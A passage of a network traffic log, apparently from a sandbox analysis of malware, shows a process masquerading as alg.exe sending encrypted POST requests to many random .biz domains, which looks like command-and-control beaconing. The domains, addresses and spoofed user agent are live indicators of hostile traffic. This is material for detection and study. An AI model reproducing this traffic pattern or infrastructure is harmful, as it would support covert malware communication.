Oct 28, 2024 16:52:20.084997892 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e19b52423f1ec9acccd375d107203c1c\|155.94.241.188\|1730130739\|1730130739\|0\|1\|0; path=/; domain=.ptrim.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50076	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:20.104408026 CET	350	OUT	POST /wtmpt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: znwbniskf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:20.104423046 CET	778	OUT	Data Raw: 64 d1 fa e3 eb bb fc da fe 02 00 00 3a c0 ee 08 33 54 71 ec 77 d7 6a 42 15 5e eb a6 11 d5 cf f5 41 68 46 8a 2e 20 13 ab 0b bb c2 e2 00 26 47 0e 72 1a c9 05 45 c0 81 ec 13 45 18 57 f5 73 81 f0 ca 47 9d da c3 57 d3 5b 84 06 db 07 96 c2 0a cf 6c 93 Data Ascii: d:3TqwjB^AhF. &GrEEWsGW[l'!2qsT([7533fI_<wX=)zb<KGt\|LIk`z{i:X{=ss6h~F<\TW+#HJS9%)N:_L
Oct 28, 2024 16:52:21.532591105 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3baea37bd29011a9f10616e28caeef1c\|155.94.241.188\|1730130741\|1730130741\|0\|1\|0; path=/; domain=.znwbniskf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50077	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:21.555071115 CET	357	OUT	POST /neaxbjvxiqaxty HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cpclnad.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:21.555151939 CET	778	OUT	Data Raw: ed 6b 1b fd 30 fe 93 48 fe 02 00 00 e3 21 c0 6c 3e f2 42 7d 06 61 87 a2 bc ac bb 79 1c c3 05 8b c0 ed af 19 8c 80 92 56 fb ea c7 07 8e fe 77 90 be ef b1 2e ab 2d d7 70 03 36 cd c5 f6 0f ca a0 9c bb 1b 99 fb 37 b4 58 0e 05 25 7e 97 d4 3d fb ba a7 Data Ascii: k0H!l>B}ayVw.-p67X%~=#,7dyjDEJ%(/,n6k`>"BtVtiiVkt78Dw+$"p$ZkC]iD5Nlyd0&Y\|$4&MZ@
Oct 28, 2024 16:52:22.219712019 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bf92a9e77f2ce96a0d9b77eb4a3f7858\|155.94.241.188\|1730130742\|1730130742\|0\|1\|0; path=/; domain=.cpclnad.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50078	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:22.239156008 CET	343	OUT	POST /ap HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mjheo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:22.239190102 CET	778	OUT	Data Raw: b1 c6 49 26 51 bd 21 aa fe 02 00 00 bd 29 9e ae 1e d4 3c 58 1b 42 e0 81 95 64 5a c4 a9 82 3c 41 2f 3f 97 bd 22 4f 97 a9 ae 23 90 7c 19 b1 05 63 14 af 0c 9d 5e ef 01 b8 3c 9f 49 34 93 5b 9a a9 1b ce d7 98 59 76 0e d2 58 cd b8 c3 f5 fe e3 6f 0b a2 Data Ascii: I&Q!)<XBdZ<A/?"O#\|c^<I4[YvXo;aV:>8\|bU1]4I^GV.\ln&:!wX^{d3jW`v{&JtGtKw4h[@?Pp`>=EbMu!RDA^r
Oct 28, 2024 16:52:22.907759905 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=731c54b240ef6a9645498cad443de438\|155.94.241.188\|1730130742\|1730130742\|0\|1\|0; path=/; domain=.mjheo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50079	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:22.928023100 CET	353	OUT	POST /lpcmjvhkj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wluwplyh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:22.928083897 CET	778	OUT	Data Raw: 78 1e 3f 4e bc d3 d7 9d fe 02 00 00 85 8f 10 2a 40 98 36 d4 fb 2d d3 e9 e5 21 4b 31 68 c6 53 9d 30 a8 30 a7 75 b9 33 19 5a 70 ef bd 39 f8 73 fc 21 6e 66 9a f1 d8 9c ff bb 3c 8b f9 17 ee a0 f0 41 5c 66 af 93 23 62 3e 1c 94 03 57 c1 0c c6 f0 86 2c Data Ascii: x?N@6-!K1hS00u3Zp9s!nf<A\f#b>W,j}F9>k"G2'-6c.&]C]96m\|(aj8sp@!587h]tL>Ze\.w
Oct 28, 2024 16:52:24.365535021 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2b8625d7d3da3dfa6dfa859ca6af83e2\|155.94.241.188\|1730130744\|1730130744\|0\|1\|0; path=/; domain=.wluwplyh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:24.733189106 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2b8625d7d3da3dfa6dfa859ca6af83e2\|155.94.241.188\|1730130744\|1730130744\|0\|1\|0; path=/; domain=.wluwplyh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	60569	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:25.508419991 CET	354	OUT	POST /sjbthkaicrc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zgapiej.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:25.510689020 CET	778	OUT	Data Raw: 5a ee 09 65 b9 39 32 0a fe 02 00 00 9e 43 5b 32 f1 21 d8 62 2d 57 80 aa 4b 44 a2 02 5a d4 69 9e ea 21 78 3e 0c 89 41 28 6c c4 91 3c 4f 7b d5 3d 34 8a cd 43 58 2a b6 9c 96 15 bb 4d 49 e2 b8 b6 8f 45 c0 4a 28 b2 12 04 a0 bd 78 99 fb 8e 50 52 cb b6 Data Ascii: Ze92C[2!b-WKDZi!x>A(l<O{=4CX*MIEJ(xPRKSJk:LVP(G8 \|~u4V~d6uGjn /rw 4cICLm[U9}OD@/I5{:\|{^VU[K\t!Gp4z
Oct 28, 2024 16:52:26.182507038 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bdc2d0feee6bced0cb43da9093357c43\|155.94.241.188\|1730130746\|1730130746\|0\|1\|0; path=/; domain=.zgapiej.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	60570	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:26.202745914 CET	343	OUT	POST /dq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jifai.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:26.202774048 CET	778	OUT	Data Raw: 52 0f ba 82 83 64 47 78 fe 02 00 00 07 4f 3d d1 ca 28 bc 0c 98 42 ea 68 8e f1 52 75 5f f6 a5 7a 17 f6 f6 fa d5 14 9d 1b bc ee 0a ea 83 84 46 5e 43 d4 5f d9 af 18 04 f1 ac b1 13 0a 80 0b 8d 0b b3 61 53 b3 9f 77 d9 cb 71 0a 66 ce 75 e0 45 29 83 4b Data Ascii: RdGxO=(BhRu_zF^C_aSwqfuE)K27DNXoY7A?mJ~oT9*xEI Tv$]SUR^6z6=uo]lf,o`zhTC+NuM
Oct 28, 2024 16:52:26.872064114 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=29b75d393543c469a04c5d10290831e1\|155.94.241.188\|1730130746\|1730130746\|0\|1\|0; path=/; domain=.jifai.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	60571	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:26.929936886 CET	352	OUT	POST /skriadsmnm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xnxvnn.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:26.929963112 CET	778	OUT	Data Raw: 4a 31 6a a0 4c 8f 5c e6 fe 02 00 00 bf 0d e8 66 f0 7d d6 13 fe a7 a7 5d ea e0 19 52 1f c2 1b c7 d8 d7 e0 39 dc d1 56 f7 15 9f ed 20 92 37 19 a1 5e fa c9 a7 f5 12 bc f0 e2 1b c9 09 98 12 fe 11 a5 21 23 82 c6 5f 2c 27 3f 47 d0 45 4b b5 f1 3b 43 04 Data Ascii: J1jL\f}]R9V 7^!#_,'?GEK;Ct5Gl3Nc68~n;"#Y]@Jo-"<5\|AP^3#XqMC3=pxvT>&njZ1w4K%]}d23TC9<`H:V
Oct 28, 2024 16:52:29.264233112 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2448c3449b67f49bd22310c6708a1da1\|155.94.241.188\|1730130748\|1730130748\|0\|1\|0; path=/; domain=.xnxvnn.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:29.267072916 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2448c3449b67f49bd22310c6708a1da1\|155.94.241.188\|1730130748\|1730130748\|0\|1\|0; path=/; domain=.xnxvnn.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:29.268178940 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2448c3449b67f49bd22310c6708a1da1\|155.94.241.188\|1730130748\|1730130748\|0\|1\|0; path=/; domain=.xnxvnn.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:29.268692970 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2448c3449b67f49bd22310c6708a1da1\|155.94.241.188\|1730130748\|1730130748\|0\|1\|0; path=/; domain=.xnxvnn.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	60572	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:29.427431107 CET	351	OUT	POST /wawfta HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ihcnogskt.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:29.427459955 CET	778	OUT	Data Raw: 62 e0 ba e1 3a f4 eb 46 fe 02 00 00 ff be 06 7a af 0e 3b c9 e5 53 2f 52 5b 2a 76 40 a6 15 cf a0 0c bf 3c 0c cc 25 c2 e1 ff 8b 1c 85 c2 b5 8d 16 6a d7 e5 c3 e8 78 3d 35 67 76 51 60 b7 f7 9d 55 49 44 c6 8a 08 6b 49 3c d3 3d 5e fc 49 08 aa c4 e4 d9 Data Ascii: b:Fz;S/R[*v@<%jx=5gvQ`UIDkI<=^Iq"abc0LxEhW~IvpL_}2!J'W-^4-4zbVh.q["+ a+rKZ[Ndn:M(,1Hv]BK<]U,q H
Oct 28, 2024 16:52:30.285726070 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=94a3440e5dee1813ba41665d1e03fbf6\|155.94.241.188\|1730130750\|1730130750\|0\|1\|0; path=/; domain=.ihcnogskt.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	60573	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:30.307679892 CET	356	OUT	POST /qcdcxwrbvorm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: kkqypycm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:30.307708979 CET	778	OUT	Data Raw: 8b 97 e8 89 1e 64 2d f1 fe 02 00 00 24 0d ac 02 d3 c4 30 00 b8 86 1f 21 4a 22 73 9a a0 75 e0 04 bc fd 14 2b a6 5a 63 8e d6 59 3b 09 6d e3 cd 9e f9 f4 23 f2 de 23 f9 7b eb a5 42 95 71 02 84 33 16 6c 44 f6 d6 c7 e7 51 da dd c1 7b 77 d2 d9 35 11 1e Data Ascii: d-$0!J"su+ZcY;m##{Bq3lDQ{w5EX`Nn!0B>;Bx9-Znr#rA{6,29PY`F5GPF^\;W6e$}#9-2b_%vowi.\|I`;t;4
Oct 28, 2024 16:52:31.716445923 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=35ad29fa8cec894c4b08887afaa4330b\|155.94.241.188\|1730130751\|1730130751\|0\|1\|0; path=/; domain=.kkqypycm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	60574	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:31.736444950 CET	343	OUT	POST /x HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uevrpr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:31.736479998 CET	778	OUT	Data Raw: e0 6b 86 ae ba 3b 3d 53 fe 02 00 00 94 a5 33 ae 9f fc ae 42 0e e0 83 fa 86 23 26 d3 29 e9 f6 a7 e6 2b 67 64 78 7f c8 19 cb 51 d0 9b 94 87 06 47 db d2 04 8d c6 2d 49 ac 53 ad f0 c5 e0 df e5 ed 58 58 c3 ab df 8b a3 9f 50 91 6e fc 61 34 02 73 7d d4 Data Ascii: k;=S3B#&)+gdxQG-ISXXPna4s}A:Q{YtvE;'6[Ip<8i yu^~GMFRPvwY?tKyL0?hRde5408%W].!XS9&G:txU
Oct 28, 2024 16:52:32.563828945 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4281c90d124344545f9462c18bc78f4d\|155.94.241.188\|1730130752\|1730130752\|0\|1\|0; path=/; domain=.uevrpr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	59986	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:33.266130924 CET	352	OUT	POST /lutskhb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fgajqjyhr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:33.266156912 CET	778	OUT	Data Raw: 6b ea 6d 93 02 41 50 6a fe 02 00 00 68 9a dd e2 21 b3 f5 1c 5f 52 21 8a 59 ec 00 43 7c f3 71 87 14 57 0d db 33 1b 00 2b 61 29 84 07 f2 5f 4c e5 d0 98 2b 4c 8b 87 dd e4 bf 3c 75 81 cd 37 7f 87 19 92 12 48 ae 72 04 51 ba 85 a2 ef e8 f5 56 2b 44 35 Data Ascii: kmAPjh!_R!YC\|qW3+a)_L+L<u7HrQV+D5au8(]Mnmop]c\QrP0)oDx$Ywd:{DlNTbw!XX^>H83c(U-ecJ($GuIJ^<,U*B_KX&O+Q T
Oct 28, 2024 16:52:34.118547916 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e235e6545be49d40304bd7fc834f4e94\|155.94.241.188\|1730130753\|1730130753\|0\|1\|0; path=/; domain=.fgajqjyhr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	59987	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:34.138528109 CET	344	OUT	POST /b HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: hagujcj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:34.138571978 CET	778	OUT	Data Raw: 60 db 18 46 3d 46 0c 08 fe 02 00 00 4f 55 dc ef 91 8b 59 85 b6 c7 88 9b d8 72 42 65 aa 66 5c 8b e2 56 0f a2 5d cd 60 6c ee 8e 9f 91 81 ef 8c f2 53 66 b0 40 7c 41 8a 01 40 09 db 8b fa 56 9e cb 78 f5 40 84 12 48 e5 f7 08 f8 0e 93 a0 27 8d 32 2d 4e Data Ascii: `F=FOUYrBef\V]`lSf@\|A@Vx@H'2-N[wELA.'Q$klrecZnf?L\)<cS}Ed~Y[pdkd4M~$G=TUbU]G{pcmVl@%h
Oct 28, 2024 16:52:34.801428080 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3bdae8ab21c945df5bf3a0bd941bc137\|155.94.241.188\|1730130754\|1730130754\|0\|1\|0; path=/; domain=.hagujcj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	59988	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:34.821470976 CET	350	OUT	POST /ljoreepy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sctmku.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:34.821496964 CET	778	OUT	Data Raw: 27 32 0e 6d a8 5c c2 fb fe 02 00 00 f8 98 22 d6 65 af 6d 4c 55 9a 06 38 9c 6e dd df 81 77 fc 7e a6 e0 c3 cc 3c 83 b7 3c c9 c1 93 e7 bd 1f ca 62 c7 30 6b e0 fc 39 bf df 88 58 ad ac d1 01 7c 50 78 8d 93 32 cb cf 7a f2 bb 04 49 78 75 c2 3a e9 7f 7c Data Ascii: '2m\"emLU8nw~<<b0k9X\|Px2zIxu:\|/x#4tW#altRf`6fUZ4+&*$?RaW`3?ez)I/k/aG5L\|NHTxh]8k=+VErIfa#w3@14BDu
Oct 28, 2024 16:52:35.771967888 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cf811e51256658c25ba0490b360c81d2\|155.94.241.188\|1730130755\|1730130755\|0\|1\|0; path=/; domain=.sctmku.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	59989	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:35.983169079 CET	348	OUT	POST /wbxnuro HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qcrsp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:35.983206987 CET	778	OUT	Data Raw: 17 c2 af 4a c7 15 ca fc fe 02 00 00 55 a2 00 1b 74 84 3d f4 a3 9e 41 1a a2 3a 4f 8a e0 58 51 93 cc 5c cf 31 47 8d 74 db db ed e8 e2 a4 76 d1 f5 31 62 cd 61 33 76 62 a0 d7 b6 ec 9b e1 d5 84 c8 31 06 49 df 00 13 68 16 b8 3d 71 1f 54 e8 77 16 b0 d9 Data Ascii: JUt=A:OXQ\1Gtv1ba3vb1Ih=qTw{u[ Ee.<71>_Um"LE?HGtW^f9[)@E[QA1Mmmg$5x`'>gjB9sZm.o! ~,>
